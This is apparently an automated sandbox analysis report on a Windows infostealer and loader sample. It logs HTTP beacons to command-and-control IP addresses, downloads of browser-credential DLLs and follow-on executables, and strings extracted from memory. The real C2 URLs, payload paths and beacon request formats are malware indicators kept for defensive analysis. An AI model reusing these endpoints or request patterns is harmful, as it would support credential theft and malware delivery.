Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 147.45.47.155 147.45.47.155
Source: Joe Sandbox View	IP Address: 77.91.77.81 77.91.77.81
Source: Joe Sandbox View	IP Address: 85.28.47.4 85.28.47.4

Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: GES-ASRU GES-ASRU

Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Code function: 9_2_0032B6C0 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

9_2_0032B6C0

Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFBFBGHDGDAKECAKJEHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 42 38 43 44 38 35 31 36 39 32 41 33 32 34 35 37 38 32 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 2d 2d 0d 0a Data Ascii: ------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="hwid"DB8CD851692A3245782482------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="build"default------CGCFBFBGHDGDAKECAKJE--

Source: explortu.exe, 00000009.00000002.4583229120.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.155/I
Source: explortu.exe, 00000009.00000002.4583229120.0000000000CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.155/ku4Nor9/index.php
Source: explortu.exe, 00000009.00000002.4583229120.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.155/ku4Nor9/index.phpD
Source: explortu.exe, 00000009.00000002.4583229120.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.155/ku4Nor9/index.phpE
Source: explortu.exe, 00000009.00000002.4583229120.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.155/ku4Nor9/index.phpM32
Source: explortu.exe, 00000009.00000002.4583229120.0000000000CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.155/ku4Nor9/index.phpO
Source: explortu.exe, 00000009.00000002.4583229120.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.155/ku4Nor9/index.phpm32
Source: explortu.exe, 00000009.00000002.4583229120.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.155/ku4Nor9/index.phpo
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp, tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000D3A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe00
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000D3A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exepData
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe00
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exephprefoxox
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exera
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.00000000007BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/freebl3.dll
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/mozglue.dll
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/mozglue.dll0L
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/msvcp140.dll/O
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/msvcp140.dllNLu
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/nss3.dll
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/softokn3.dll
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/softokn3.dll#L
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/sqlite3.dll
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: tAa6xNsucX.exe	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: tAa6xNsucX.exe	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: tAa6xNsucX.exe	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: tAa6xNsucX.exe, 00000000.00000002.2340724909.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2327877769.000000001CCFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AFCFHDHIIIECBGCAKFIJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: tAa6xNsucX.exe, 00000000.00000003.2252882264.000000002F085000.00000004.00000020.00020000.00000000.sdmp, AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: tAa6xNsucX.exe, 00000000.00000003.2252882264.000000002F085000.00000004.00000020.00020000.00000000.sdmp, AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000D3A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: tAa6xNsucX.exe, 00000000.00000003.2252882264.000000002F085000.00000004.00000020.00020000.00000000.sdmp, AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000D3A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

System Summary

PE file contains section with special chars

Source: HIIEBAFCBK.exe.0.dr	Static PE information: section name:
Source: HIIEBAFCBK.exe.0.dr	Static PE information: section name: .idata
Source: HIIEBAFCBK.exe.0.dr	Static PE information: section name:
